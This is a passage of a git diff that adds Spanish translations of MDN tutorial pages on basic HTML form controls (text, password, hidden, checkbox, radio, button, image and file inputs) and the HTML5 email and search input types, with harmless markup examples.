+ <li>Pueden tener un {{htmlattrxref ("placeholder","input")}}; se trata de un texto que aparece dentro de la caja de entrada de texto y que se usa para describir brevemente el propósito de la caja de texto.</li>
+ <li>Pueden presentar una limitación de <a href="/en-US/docs/Web/HTML/Attributes/size">tamaño</a> (el tamaño físico de la caja de texto) y de la <a href="/en-US/docs/Web/HTML/Attributes/maxlength" title="/en-US/docs/HTML/Element/input#attr-maxlength">extensión máxima</a> (el número máximo de caracteres que se pueden poner en la caja de texto).</li>
+ <li>Admiten <a href="/en-US/docs/HTML/Element/input#attr-spellcheck" title="/en-US/docs/HTML/Element/input#attr-spellcheck"> corrección ortográfica</a> (utilizando el atributo <a href="/en-US/docs/Web/HTML/Attributes/spellcheck"><code>spellcheck</code></a>), si el navegador la admite.</li>
+</ul>
+
+<div class="note">
+<p><strong>Nota</strong>: El elemento {{htmlelement ("input")}} es único entre los elementos HTML porque puede tomar muchas formas diferentes según el valor de su atributo. Se utiliza para crear la mayoría de los tipos de controles de formulario, que incluyen campos de texto de una sola línea, controles para la fecha y la hora, controles sin introducción de texto, como casillas de verificación, botones de opción y selectores de color, y botones.</p>
+</div>
+
+<h3 id="Campos_de_texto_de_una_sola_línea">Campos de texto de una sola línea</h3>
+
+<p>Un campo de texto de una sola línea se crea utilizando un elemento {{HTMLElement ("input")}} cuyo valor de atributo {{htmlattrxref ("type","input")}} se establece en <code>text</code>, u omitiendo por completo el atributo {{htmlattrxref ( "type","input")}} (<code>text</code> es el valor predeterminado). El valor <code>text</code> de este atributo también es el valor alternativo si el navegador no reconoce el valor que has especificado para el atributo {{htmlattrxref ("type","input")}} (por ejemplo, si especificas <code>type="color"</code> y el navegador no está dotado en origen de un control de selección de colores).</p>
+
+<div class="note">
+<p><strong>Nota</strong>: Puedes encontrar ejemplos de todos los tipos de campo de texto de una sola línea en GitHub en <a href="https://github.com/mdn/learning-area/blob/master/html/forms/native-form-widgets/single-line-text-fields.html">single-line-text-fields.html</a> (<a href="https://mdn.github.io/learning-area/html/forms/native-form-widgets/single-line-text-fields.html">o consultarlo en vivo</a>).</p>
+</div>
+
+<p>Aquí hay un ejemplo básico de campo de texto de una sola línea:</p>
+
+<pre class="brush: html notranslate">&lt;input type="text" id="comment" name="comment" value="I'm a text field"&gt;</pre>
+
+<p>Los campos de texto de una sola línea solo tienen una restricción verdadera: si escribes el texto con saltos de línea, el navegador elimina esos saltos de línea antes de enviar los datos al servidor.</p>
+
+<p><em>La captura de pantalla siguiente muestra los tipos de entrada de texto predeterminado, activo (con el foco) y deshabilitado en Firefox 71 y Safari en macOS y en Chrome 79 y Edge 18 en Windows 10.</em></p>
+
+<p><img alt="Captura de pantalla del atributo deshabilitado y predeterminado: estilo para  una entrada de texto activa (con el foco) en Firefox, Safari, Chrome y Edge." src="https://mdn.mozillademos.org/files/17021/disabled.png" style="height: 113px; width: 442px;"></p>
+
+<div class="blockIndicator note">
+<p><strong>Nota</strong>: HTML5 ha mejorado el campo de texto básico original de una sola línea al añadir valores especiales para el atributo {{htmlattrxref ("type", "input")}} que imponen restricciones de validación específicas y otras características, por ejemplo, específicas para introducir direcciones URL o números. Los expondremos en el artículo siguiente: <a href="/en-US/docs/Learn/Forms/HTML5_input_types">Los tipos de entrada en HTML5</a>.</p>
+</div>
+
+<h4 id="Campo_de_contraseña">Campo de contraseña</h4>
+
+<p>Uno de los tipos de entrada originales era el tipo de campo de texto <code>password</code>:</p>
+
+<pre class="brush: html notranslate">&lt;input type="password" id="pwd" name="pwd"&gt;</pre>
+
+<p>El valor de la contraseña no añade restricciones especiales al texto que se introduce, pero oculta el valor que se introduce en el campo (por ejemplo, con puntos o asteriscos) para impedir que otros puedan leerlo.</p>
+
+<p>Ten en cuenta que esto es solo una función de interfaz de usuario; a menos que envíes tu formulario en modo seguro, se enviará como texto plano, lo que es malo desde el punto de vista de la seguridad porque alguien con malas intenciones podría interceptar tus datos y robar tus contraseñas, datos de tarjetas de crédito o cualquier otra cosa que hayas enviado. La mejor manera de proteger a los usuarios de esto es alojar cualquier página que contenga formularios en una ubicación de conexión segura (es decir, en una dirección <code>https://</code>), de modo que los datos se cifren antes de enviarse.</p>
+
+<p>Los navegadores reconocen las implicaciones de seguridad de enviar datos de formulario por una conexión insegura y disponen de mensajes de advertencia para disuadir a los usuarios de usar formularios no seguros. Para obtener más información sobre las implementaciones de Firefox al respecto, consulta el artículo <a href="/es/docs/Seguridad/ContraseñasInseguras">Contraseñas inseguras</a>.</p>
+
+<h3 id="Contenido_oculto">Contenido oculto</h3>
+
+<p>Otro control de texto original es el tipo de entrada <code>hidden</code>. Se usa para crear un control de formulario que es invisible para el usuario, pero que aun así se envía al servidor junto con el resto de los datos del formulario una vez se transmiten; por ejemplo, es posible que desees enviar una marca de tiempo al servidor que indique cuándo se realizó un pedido. Al estar oculto, el usuario no puede ver ni editar su valor intencionadamente, el control nunca recibirá el foco y un lector de pantalla tampoco lo detectará.</p>
+
+<pre class="brush: html notranslate">&lt;input type="hidden" id="timestamp" name="timestamp" value="1286705410"&gt;
+</pre>
+
+<p>Si creas un elemento así, es necesario establecer sus atributos <code>name</code> y <code>value</code>. Su valor puede establecerse dinámicamente a través de JavaScript. El tipo de entrada oculta no debe tener ninguna etiqueta asociada.</p>
+
+<p>Otros tipos de entrada de texto, como {{HTMLElement ("input / search", "search")}}, {{HTMLElement ("input / url", "url")}} y {{HTMLElement ("input / tel" , "tel")}}, se añadieron con HTML5. Se tratarán en el próximo artículo: Tipos de entrada HTML5.</p>
+
+<h2 id="Elementos_de_selección_casillas_de_verificación_y_botones_de_opción">Elementos de selección: casillas de verificación y botones de opción</h2>
+
+<p>Los elementos de selección (o <em>checkable items</em>, en inglés) son controles cuyo estado puede cambiar cuando se hace clic en ellos o en sus etiquetas asociadas. Hay dos tipos de elementos de selección: las casillas de verificación (o <em>check boxes</em>) y los botones de opción (o <em>radio buttons</em>). Ambos usan el atributo <code>checked</code> para indicar si el control de formulario está seleccionado por defecto o no.</p>
+
+<p>Vale la pena señalar que estos controles no se comportan exactamente como otros controles de formulario. Para la mayoría de los controles de formulario, cuando se envía el formulario, se envían todos los controles que tienen un atributo <a href="/en-US/docs/Web/HTML/Attributes/name"><code>name</code></a>, incluso si en ellos no se ha introducido ningún valor. En el caso de elementos de selección, sus valores se envían solo si están seleccionados. Si no están seleccionados, no se envía nada, ni siquiera su nombre. Si están seleccionados pero no tienen ningún valor asignado, el nombre se envía con el valor <em>on.</em></p>
+
+<div class="note">
+<p><strong>Nota</strong>: Puedes encontrar los ejemplos de esta sección en GitHub como <a href="https://github.com/mdn/learning-area/blob/master/html/forms/native-form-widgets/checkable-items.html">checkable-items.html</a> (<a href="https://mdn.github.io/learning-area/html/forms/native-form-widgets/checkable-items.html">o consultarlos en vivo</a>).</p>
+</div>
+
+<p>Para una usabilidad/accesibilidad óptima, te recomendamos delimitar cada lista de elementos que estén relacionados entre sí dentro de un elemento {{htmlelement ("fieldset")}} con un elemento {{htmlelement ("legend")}} que proporcione una descripción general de la lista. Cada par individual de elementos {{htmlelement ("label")}}/{{htmlelement ("input")}} ha de estar contenido en un elemento de lista propio (o similar). El elemento {{htmlelement ('label')}} asociado se coloca en general inmediatamente después del botón de opción o la casilla de verificación, con las instrucciones para el grupo de botones de opción o casillas de verificación, que suelen ser el contenido del elemento {{htmlelement ("legend")}}. Observa las estructuras de ejemplo en los ejemplos asociados anteriores.</p>
+
+<h3 id="Casillas_de_verificación">Casillas de verificación</h3>
+
+<p>Las casillas de verificación se crean estableciendo el atributo <a href="/en-US/docs/Web/HTML/Attributes/type"><code>type</code></a> del elemento {{HTMLElement ("input")}} en el valor {{HTMLElement ("input / checkbox", "checkbox")}}.</p>
+
+<pre class="brush: html notranslate">&lt;input type="checkbox" id="carrots" name="carrots" value="carrots" checked&gt;
+</pre>
+
+<p>Al incluir el atributo <code><a href="/en-US/docs/Web/HTML/Attributes/checked">checked</a></code>, la casilla de verificación se marca automáticamente cuando se carga la página. Al hacer clic en la casilla de verificación o en su etiqueta asociada, la casilla de verificación se activa o desactiva.</p>
+
+<p>Las capturas de pantalla siguientes muestran casillas de verificación predeterminadas, activas (con el foco) y deshabilitadas en Firefox 71 y Safari 13 en macOS y Chrome 79 y Edge 18 en Windows 10:</p>
+
+<p><img alt="Casillas de verificación predeterminadas, activas y deshabilitadas en Firefox 71 y Safari 13 en Mac y Chrome 79 y Edge 18 en Windows 10" src="https://mdn.mozillademos.org/files/17024/checkboxes.png" style="height: 203px; width: 293px;"></p>
+
+<div class="blockIndicator note">
+<p><strong>Nota</strong>: Las casillas de verificación y los botones de opción con atributo <code><a href="/en-US/docs/Web/HTML/Attributes/checked">checked</a></code> al cargarse coinciden con la pseudoclase {{cssxref ('<code>:default</code>')}}, incluso aunque ya no estén seleccionadas. Las que están seleccionadas coinciden con la pseudoclase <code>{{cssxref(':checked')}}</code>.</p>
+</div>
+
+<p id="Radio_button">Debido a su naturaleza activa-inactiva, las casillas de verificación se consideran botones de conmutación, y muchos desarrolladores y diseñadores han ampliado el estilo de casilla de verificación predeterminado para crear botones que parecen interruptores de conmutación. Aquí puedes ver un <a href="https://mdn.github.io/learning-area/html/forms/toggle-switch-example/">ejemplo en acción</a> (observa también el <a href="https://github.com/mdn/learning-area/blob/master/html/forms/toggle-switch-example/index.html">código fuente</a>).</p>
+
+<h3 id="Botón_de_opción">Botón de opción</h3>
+
+<p>Un botón de opción se crea estableciendo el atributo {{htmlattrxref ("type", "input")}} del elemento {{HTMLElement ("input")}} en el valor <code>radio</code>:</p>
+
+<pre class="brush: html notranslate">&lt;input type="radio" id="soup" name="meal" checked&gt;</pre>
+
+<p>Es posible asociar diversos botones de opción. Si comparten el mismo valor de atributo {{htmlattrxref ("name", "input")}}, se considera que están en el mismo grupo de botones. Solo un botón dentro de un grupo puede estar activado en cada momento. Esto significa que cuando uno de ellos se selecciona, todos los demás se deseleccionan automáticamente. Al enviar el formulario, solo se envía el valor del botón de opción seleccionado. Si ninguno de ellos está seleccionado, se considera que el conjunto completo de botones de opción está en un estado desconocido y no se envía ningún valor con el formulario. Cuando en un grupo de botones con el mismo nombre se selecciona uno de los botones de opción, no es posible deseleccionar todos los botones sin reiniciar el formulario.</p>
+
+<pre class="brush: html notranslate">&lt;fieldset&gt;
+  &lt;legend&gt;¿Cuál es tu comida favorita?&lt;/legend&gt;
+  &lt;ul&gt;
+    &lt;li&gt;
+      &lt;label for="soup"&gt;Sopa&lt;/label&gt;
+      &lt;input type="radio" id="soup" name="meal" value="soup" checked&gt;
+    &lt;/li&gt;
+    &lt;li&gt;
+      &lt;label for="curry"&gt;Curry&lt;/label&gt;
+      &lt;input type="radio" id="curry" name="meal" value="curry"&gt;
+    &lt;/li&gt;
+    &lt;li&gt;
+      &lt;label for="pizza"&gt;Pizza&lt;/label&gt;
+      &lt;input type="radio" id="pizza" name="meal" value="pizza"&gt;
+    &lt;/li&gt;
+  &lt;/ul&gt;
+&lt;/fieldset&gt;</pre>
+
+<p>Las capturas de pantalla siguientes muestran botones de opción sin seleccionar y seleccionados, algunos con el foco y otros desactivados sin seleccionar y seleccionados, en Firefox 71 y Safari 13 en MacOS y Chrome 79 y Edge 18 en Windows 10.</p>
+
+<p><img alt="Botones de opción en Firefox 71 y Safari 13 en Mac y Chrome 79 y Edge 18 en Windows 10" src="https://mdn.mozillademos.org/files/17022/radios.png" style="height: 142px; width: 196px;"></p>
+
+<h2 id="Botones">Botones</h2>
+
+<p>El botón de opción no es realmente un botón, a pesar de su nombre; sigamos adelante y echemos un vistazo a los controles de formulario que son botones propiamente. Hay tres tipos de entrada según el tipo de botones que se utilicen:</p>
+
+<dl>
+ <dt><code>submit</code></dt>
+ <dd>Envía los datos del formulario al servidor. Para los elementos {{HTMLElement ("button")}}, omitir el atributo <code>type</code> (o introducir un valor de tipo no válido) da como resultado un botón de envío (<em>submit</em>).</dd>
+ <dt><code>reset</code></dt>
+ <dd>Restablece todos los controles de formulario a sus valores por defecto.</dd>
+ <dt><code>button</code></dt>
+ <dd>Botones que no tienen efecto automático, pero que se pueden personalizar con código JavaScript.</dd>
+</dl>
+
+<p>Además, el elemento {{htmlelement ("button")}} puede tomar un atributo <code>type</code> para imitar estos tres tipos de entrada. La diferencia principal entre los dos es que los elementos <code>&lt;button&gt;</code> propiamente admiten aplicación de estilo en mayor medida.</p>
+
+<div class="blockIndicator note">
+<p><strong>Nota</strong>: El tipo de entrada <code>image</code> también se representa como un botón. También desarrollaremos este tema más adelante.</p>
+</div>
+
+<div class="note">
+<p><strong>Nota</strong>: Puedes encontrar los ejemplos de esta sección en GitHub como <a href="https://github.com/mdn/learning-area/blob/master/html/forms/native-form-widgets/button-examples.html">button-examples.html</a> (<a href="https://mdn.github.io/learning-area/html/forms/native-form-widgets/button-examples.html">o consultarlos en vivo</a>).</p>
+</div>
+
+<p>A continuación puedes encontrar ejemplos de cada tipo de botón <code>&lt;input&gt;</code>, junto con el tipo de botón equivalente.</p>
+
+<h3 id="enviar">enviar</h3>
+
+<pre class="brush: html notranslate">&lt;button type="submit"&gt;
+    Este es un &lt;strong&gt;botón de envío&lt;/strong&gt;
+&lt;/button&gt;
+
+&lt;input type="submit" value="Este es un botón de envío"&gt;</pre>
+
+<h3 id="reiniciar">reiniciar</h3>
+
+<pre class="brush: html notranslate">&lt;button type="reset"&gt;
+    Este es un &lt;strong&gt;botón de reinicio&lt;/strong&gt;
+&lt;/button&gt;
+
+&lt;input type="reset" value="Este es un botón de reinicio"&gt;</pre>
+
+<h3 id="anónimo">anónimo</h3>
+
+<pre class="brush: html notranslate">&lt;button type="button"&gt;
+    Este es un &lt;strong&gt;botón anónimo&lt;/strong&gt;
+&lt;/button&gt;
+
+&lt;input type="button" value="Este es un botón anónimo"&gt;</pre>
+
+<p>Los botones siempre se comportan igual, independientemente de su usas un elemento {{HTMLElement ("button")}} o un elemento {{HTMLElement ("input")}}. Sin embargo, como puedes ver en los ejemplos, los elementos {{HTMLElement ("button")}} te permiten usar HTML en tu contenido, que se inserta entre las etiquetas <code>&lt;button&gt;</code> de apertura y cierre. Los elementos {{HTMLElement ("input")}}, por otro lado, son elementos vacíos; el contenido que muestran está inserto en el atributo <code>value</code> y, por lo tanto, solo acepta contenido de texto sin formato.</p>
+
+<p>Los ejemplos siguientes muestran los tipos de entrada de botones predeterminados, activos y deshabilitados: en Firefox 71 y Safari 13 en macOS, y Chrome 79 y Edge 18 en Windows 10.</p>
+
+<p><img alt="Tipos de entrada de botones predeterminados, activos y deshabilitados en Firefox 71 y Safari 13 en Mac y Chrome 79 y Edge 18 en Windows 10" src="https://mdn.mozillademos.org/files/17023/buttons.png" style="height: 182px; width: 286px;"></p>
+
+<h3 id="Botón_de_imagen">Botón de imagen</h3>
+
+<p>El control <strong>botón de imagen</strong> se muestra exactamente como un elemento {{HTMLElement ("img")}}, excepto que cuando el usuario hace clic en él, se comporta como un botón de envío.</p>
+
+<p>Se crea un botón de imagen usando un elemento {{HTMLElement ("input")}} con su atributo {{htmlattrxref ("type","input")}} establecido en el valor <code>image</code>. Este elemento admite exactamente el mismo conjunto de atributos que el elemento {{HTMLElement ("img")}}, además de todos los atributos que admiten el resto de botones de formulario.</p>
+
+<pre class="brush: html notranslate">&lt;input type="image" alt="¡Púlsame!" src="my-img.png" width="80" height="30"&gt;</pre>
+
+<p>Si el botón de imagen se usa para enviar un formulario, este control no envía su valor; en lugar de ello se envían las coordenadas X e Y del clic que se ha hecho sobre la imagen (las coordenadas son relativas a la imagen, lo que significa que la esquina superior izquierda de la imagen representa la coordenada (0, 0)). Las coordenadas se envían como dos pares clave/valor:</p>
+
+<ul>
+ <li>La clave del valor X es el valor del atributo {{htmlattrxref ("name","input")}} seguido de la cadena de caracteres «<em>.x</em>».</li>
+ <li>La clave del valor Y es el valor del atributo {{htmlattrxref ("name","input")}} seguido de la cadena de caracteres «<em>.y</em>».</li>
+</ul>
+
+<p>Por ejemplo, cuando haces clic en las coordenadas (123, 456) de la imagen y se hace el envío por el método <code>get</code>, verás los valores añadidos a la URL de la manera siguiente:</p>
+
+<pre class="notranslate">http://foo.com?pos.x=123&amp;pos.y=456</pre>
+
+<p>Esta es una forma muy cómoda de construir un «mapa dinámico». La forma en que se envían y recuperan estos valores se detalla en el artículo <a href="/es/docs/Learn/HTML/Forms/Sending_and_retrieving_form_data">Enviar los datos del formulario</a>.</p>
+
+<h2 id="Selector_de_archivos">Selector de archivos</h2>
+
+<p>Hay un último tipo de <code>&lt;input&gt;</code> que nos llegó a principios del HTML: el tipo entrada de archivo. Los formularios pueden enviar archivos a un servidor (esta acción específica también se detalla en el artículo <a href="/es/docs/Learn/HTML/Forms/Sending_and_retrieving_form_data">Enviar los datos del formulario</a>). El control de selección de archivos se puede usar para elegir uno o más archivos para enviar.</p>
+
+<p>Para crear un <a href="/en-US/docs/Web/HTML/Element/input/file">control de selección de archivos</a>, utilizas el elemento {{HTMLElement ("input")}} con su atributo {{htmlattrxref ("type","input")}} establecido en <code>file</code>. Es posible restringir los tipos de archivos que se aceptan utilizando el atributo {{htmlattrxref ("accept","input")}}. Además, puedes permitir que el usuario elija más de un archivo añadiendo el atributo {{htmlattrxref ("multiple","input")}}.</p>
+
+<h4 id="Ejemplo">Ejemplo</h4>
+
+<p>En este ejemplo, se crea un control de selección de archivos que solicita archivos de imágenes gráficas. El usuario puede seleccionar múltiples archivos en este caso.</p>
+
+<pre class="brush: html notranslate">&lt;input type="file" name="file" id="file" accept="image/*" multiple&gt;</pre>
+
+<p>En algunos dispositivos móviles, el control de selección de archivos puede acceder a fotos, vídeos y audio capturados directamente por la cámara y el micrófono del dispositivo y añadir información de captura al atributo <code>accept</code> de la manera siguiente:</p>
+
+<pre class="notranslate">&lt;input type="file" accept="image/*;capture=camera"&gt;
+&lt;input type="file" accept="video/*;capture=camcorder"&gt;
+&lt;input type="file" accept="audio/*;capture=microphone"&gt;</pre>
+
+<h2 id="Atributos_comunes">Atributos comunes</h2>
+
+<p>Muchos de los elementos que se utilizan para definir controles de formulario tienen sus atributos específicos propios. Sin embargo, hay un conjunto de atributos que son comunes para todos los elementos de formulario. Ya has conocido algunos, pero a continuación encontrarás una lista de esos atributos comunes para referencias futuras:</p>
+
+<table>
+ <thead>
+  <tr>
+   <th scope="col">Nombre del atributo</th>
+   <th scope="col">Valor por defecto</th>
+   <th scope="col">Descripción</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code><a href="/en-US/docs/Web/HTML/Attributes/autofocus">autofocus</a></code></td>
+   <td>false</td>
+   <td>Este atributo booleano te permite especificar que el elemento ha de tener el foco de entrada automáticamente cuando se carga la página. En un documento, solo un elemento asociado a un formulario puede tener este atributo especificado.</td>
+  </tr>
+  <tr>
+   <td><code><a href="/en-US/docs/Web/HTML/Attributes/disabled">disabled</a></code></td>
+   <td>false</td>
+   <td>Este atributo booleano indica que el usuario no puede interactuar con el elemento. Si no se especifica este atributo, el elemento hereda su configuración del elemento que lo contiene, por ejemplo, {{HTMLElement ("fieldset")}}. Si el elemento que lo contiene no tiene el atributo establecido en <code>disabled</code>, el elemento está habilitado.</td>
+  </tr>
+  <tr>
+   <td><code><a href="/en-US/docs/Web/HTML/Attributes/form">form</a></code></td>
+   <td></td>
+   <td>El elemento <code>&lt;form&gt;</code> con el que está asociado el control, que se usa cuando no está anidado dentro de ese formulario. El valor del atributo debe ser el atributo <code>id</code> de un elemento {{HTMLElement ("form")}} del mismo documento. Esto te permite asociar un formulario con un control de formulario que esté fuera de aquel, incluso si está dentro de un elemento de formulario diferente.</td>
+  </tr>
+  <tr>
+   <td><code><a href="/en-US/docs/Web/HTML/Attributes/name">name</a></code></td>
+   <td></td>
+   <td>El nombre del elemento; se envía con los datos del formulario.</td>
+  </tr>
+  <tr>
+   <td><code><a href="/en-US/docs/Web/HTML/Attributes/value">value</a></code></td>
+   <td></td>
+   <td>El valor inicial del elemento.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Conclusión">Conclusión</h2>
+
+<p>Este artículo ha expuesto los tipos de entrada más antiguos: el conjunto original que se introdujo en los primeros días de HTML, que es compatible con todos los navegadores. En el artículo siguiente veremos los valores del atributo <code>type</code> que se han añadido en HTML5 más recientemente.</p>
+
+<p>{{PreviousMenuNext("Learn/Forms/How_to_structure_an_HTML_form", "Learn/Forms/HTML5_input_types", "Learn/Forms")}}</p>
+
+<h2 id="En_este_módulo">En este módulo</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Learn/HTML/Forms/Your_first_HTML_form">Tu primer formulario HTML</a></li>
+ <li><a href="/en-US/docs/Learn/HTML/Forms/How_to_structure_an_HTML_form">Cómo estructurar un formulario HTML</a></li>
+ <li><a href="/en-US/docs/Learn/HTML/Forms/The_native_form_widgets">Los controles básicos de formulario originales</a></li>
+ <li><a href="/en-US/docs/Learn/HTML/Forms/HTML5_input_types">Tipos de entrada HTML5</a></li>
+ <li><a href="/en-US/docs/Learn/HTML/Forms/Additional_form_controls">Controles de formulario adicionales</a></li>
+ <li><a href="/en-US/docs/Learn/HTML/Forms/UI_pseudo-classes">Pseudoclases UI</a></li>
+ <li><a href="/en-US/docs/Learn/HTML/Forms/Styling_HTML_forms">Aplicar estilo a formularios HTML</a></li>
+ <li><a href="/en-US/docs/Learn/HTML/Forms/Form_validation">Validación de datos en un formulario</a></li>
+ <li><a href="/en-US/docs/Learn/HTML/Forms/Sending_and_retrieving_form_data">Enviar los datos de un formulario</a></li>
+</ul>
+
+<h3 id="Temas_avanzados">Temas avanzados</h3>
+
+<ul>
+ <li><a href="/en-US/docs/Learn/HTML/Forms/Sending_forms_through_JavaScript">Enviar formularios con JavaScript</a></li>
+ <li><a href="/en-US/docs/Learn/HTML/Forms/How_to_build_custom_form_widgets">Cómo crear widgets de formularios personalizados</a></li>
+ <li><a href="/en-US/docs/Learn/HTML/Forms/HTML_forms_in_legacy_browsers">Formularios HTML en navegadores antiguos</a></li>
+ <li><a href="/en-US/docs/Learn/HTML/Forms/Advanced_styling_for_HTML_forms">Cuestiones avanzadas de aplicación de estilo para formularios HTML</a></li>
+ <li><a href="/en-US/docs/Learn/HTML/Forms/Property_compatibility_table_for_form_widgets">Tabla de compatibilidad de los controles de formulario</a></li>
+</ul>
diff --git a/files/es/learn/html/forms/tipos_input_html5/index.html b/files/es/learn/html/forms/tipos_input_html5/index.html
new file mode 100644
index 0000000000..d463399e93
--- /dev/null
+++ b/files/es/learn/html/forms/tipos_input_html5/index.html
@@ -0,0 +1,276 @@
+---
+title: Tipos de input de HTML5
+slug: Learn/HTML/Forms/Tipos_input_HTML5
+translation_of: Learn/Forms/HTML5_input_types
+---
+<div>{{LearnSidebar}}</div>
+
+<div>{{PreviousMenuNext("Learn/Forms/Basic_native_form_controls", "Learn/Forms/Other_form_controls", "Learn/Forms")}}</div>
+
+<p class="summary">En el <a href="/en-US/docs/Learn/Forms/Basic_native_form_controls">artículo anterior</a> vimos el elemento {{htmlelement("input")}} y los valores de su atributo <code>type</code>, disponibles desde los inicios de HTML. Ahora veremos en detalle la funcionalidad de los controles de formulario más recientes, incluyendo algunos tipos de input nuevos, los cuales fueron añadidos en HTML5 para permitir la recolección de tipos de datos específicos</p>
+
+<table class="learn-box standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">Requisitos previos:</th>
+   <td>Formación básica en informática, y una <a href="/en-US/docs/Learn/HTML/Introduction_to_HTML">comprensión básica de HTML</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">Objetivo:</th>
+   <td>Entender los valores de tipo input disponibles más recientes para crear controles de formulario nativos, y cómo implementarlos utilizando HTML.</td>
+  </tr>
+ </tbody>
+</table>
+
+<div class="blockIndicator note">
+<p><strong>Nota</strong>: La mayoría de las características discutidas en este artículo tienen un amplio soporte en todos los navegadores, anotaremos cualquier excepción. Si quieres más detalles referente al soporte de navegadores, deberías consultar nuestra <a href="https://developer.mozilla.org/en-US/docs/Web/HTML/Element#Forms">referéncia de elementos de formulario HTML</a>, y en particular nuestra referéncia extensiva de <a href="/en-US/docs/Web/HTML/Element/input">Tipos de &lt;input&gt;</a>.</p>
+</div>
+
+<p>Debido a que la apariéncia de un control de formulario puede ser algo distinta con respecto a unas especificaciones del diseñador, los desarrolladores web a veces construyen sus propios controles de formulario personalizados. Cubrimos este aspecto en un tutorial avanzado: <a href="/en-US/docs/Learn/Forms/How_to_build_custom_form_widgets">Cómo construir widgets de formulario personalizados</a>.</p>
+
+<h2 id="Campo_de_dirección_de_correo_electrónico">Campo de dirección de correo electrónico</h2>
+
+<p>Este tipo de campo se define utilizando el valor  <code>email</code> en el atributo {{htmlattrxref("type","input")}} del elemento &lt;input&gt;:</p>
+
+<pre class="brush: html notranslate">&lt;input type="email" id="email" name="email"&gt;</pre>
+
+<p>Cuando se utiliza este valor {{htmlattrxref("type","input")}} , se le obliga al usuario a escribir dentro del campo una dirección de correo electrónico válida. Cualquier otro contenido ocasiona que el navegador muestre un mensaje de error cuando se envía el formulario. Puedes verlo en acción en la siguiente captura de pantalla</p>
+
+<p><img alt='An invalid email input showing the message "Please enter an email address."' src="https://mdn.mozillademos.org/files/17027/email_address_invalid.png" style="display: block; height: 224px; margin: 0 auto; width: 369px;"></p>
+
+<p>Puedes utilizar también el atributo <a href="/en-US/docs/Web/HTML/Attributes/multiple"><code>multiple</code></a> en combinación con el tipo input<code>email</code> para permitir que sean introducidas varias direcciones de correo electrónico separadas por comas en el mismo input:</p>
+
+<pre class="brush: html notranslate">&lt;input type="email" id="email" name="email" multiple&gt;</pre>
+
+<p>En algunos dispositivos, en particular dispositivos táctiles con teclados dinámicos como los smart phones, debería presentarse un teclado virtual que es más adecuado para introducir direcciones de correo electrónico, incluyendo la tecla <code>@</code>. Mira como ejemplo la siguiente captura de pantalla del teclado de Firefox para Android:</p>
+
+<p><img alt="firefox for android email keyboard, with ampersand displayed by default." src="https://mdn.mozillademos.org/files/17054/fx-android-email-type-keyboard.jpg" style="border-style: solid; border-width: 1px; display: block; height: 324px; margin: 0 auto; width: 400px;"></p>
+
+<div class="blockIndicator note">
+<p><strong>Nota</strong>: Puedes encontrar ejemplos sobre los tipos de entrada de texto básicos en <a href="https://mdn.github.io/learning-area/html/forms/basic-input-examples/">Ejemplos input básicos</a> (Consulta también el <a href="https://github.com/mdn/learning-area/blob/master/html/forms/basic-input-examples/index.html">código fuente</a>).</p>
+</div>
+
+<p>Mejorar la experiéncia del usuario para usuarios con estos dispositivos, es otra buena razón para utilizar estos tipos de input más recientes.</p>
+
+<h3 id="Validación_del_lado_cliente">Validación del lado cliente</h3>
+
+<p>Como puedes haber visto anteriormente, <code>email</code>, junto con otros tipos de <code>input</code> más recientes, proporciona la validación de errores <em>en el lado cliente</em> de forma predeterminada, realizados por el navegador antes de que los datos obtenidos se envíen al servidor. <em>Es</em> una ayuda útil guiar a los usuarios a rellenar un formulario de forma precisa y puede ahorrar tiempo: es útil saber de inmediato que tu dato no es correcto, en vez de tener que esperar el viaje de ida y vuelta al servidor.</p>
+
+<p>Pero <em>no debería ser considerado</em> una medida de seguridad exhaustiva! Tus aplicaciones siempre deben realizar comprobaciones de seguridad en cada dato, tanto en el <em>lado servidor</em> como en el lado cliente debido a que la validación en el lado cliente es muy fácil desactivarla, por lo que usuarios malintencionados pueden enviar fácilmente datos incorrectos al servidor. Lee <a href="/en-US/docs/Learn/Server-side/First_steps/Website_security">Seguridad en el sitio web</a> para tener una idea de lo que <em>podría</em> ocurrir; Implementar validación en el lado servidor está más allá del alcance de este módulo-guía, pero debería tenerlo en cuenta.</p>
+
+<p>Ten en cuenta que <code>a@b</code> es una dirección de correo electrónico válida de acuerdo a las restricciones proporcionadaas por defecto. Esto es debido a que el tipo de input <code>email</code>, permite por defecto direcciones de correo electrónico de una intranet. Para implementar un comportamiento diferente de validación puedes utilizar el atributo <code><a href="/en-US/docs/Web/HTML/Attributes/pattern">pattern</a></code>, y también puedes utilizar mensajes de error personalizados; Hablaremos de cómo utilizar estas características en <a href="/en-US/docs/Learn/Forms/Form_validation">Validación de formularios en el lado cliente</a> en un artículo posterior.</p>
+
+<div class="note">
+<p><strong>Nota</strong>: Si los datos introducidos no son una dirección de correo electrónico, habrá coincidéncia con la pseudo clase {{cssxref(':invalid')}}, y la propiedad {{domxref('validityState.typeMismatch')}} devolverá <code>true</code>.</p>
+</div>
+
+<h2 id="Campo_de_búsqueda">Campo de búsqueda</h2>
+
+<p>Los campos de búsqueda están destinados a ser utilizados para crear cajas de búsqueda en páginas y aplicaciones. Este tipo de campo se define utilizando el valor <code>search</code> en su atributo {{htmlattrxref("type","input")}}:</p>
+
+<pre class="brush: html notranslate">&lt;input type="search" id="search" name="search"&gt;</pre>
+
+<p>La diferéncia principal entre un campo <code>text</code> y un campo <code>search</code>, es la forma en que el navegador aplica estilo a su apariéncia. A menudo los campos <code>search</code> se muestran con bordes redondeados; y a veces también muestran una "Ⓧ", el cual despeja el campo de cualquier valor cuando se pulsa sobre él. Adicionalmente, en dispositivos con teclado dinámico, la tecla enter del teclado puede leer "<strong>search</strong>" o mostrar un icono de lupa.</p>
+
+<p>La captura de pantalla siguiente muestra un campo de búsqueda con contenido, en Firefox 71, Safari 13, y Chrome 79 en macOS, y Edge 18 y Chrome 79 en Windows 10. Ten en cuenta que el icono de reseteo sólo aparece si el campo tiene un valor y, aparte de Safari, sólo se muestra cuando el campo tiene el foco.</p>
+
+<p><img alt="Screenshots of search fields on several platforms." src="https://mdn.mozillademos.org/files/17028/search_focus.png" style="height: 179px; width: 549px;"></p>
+
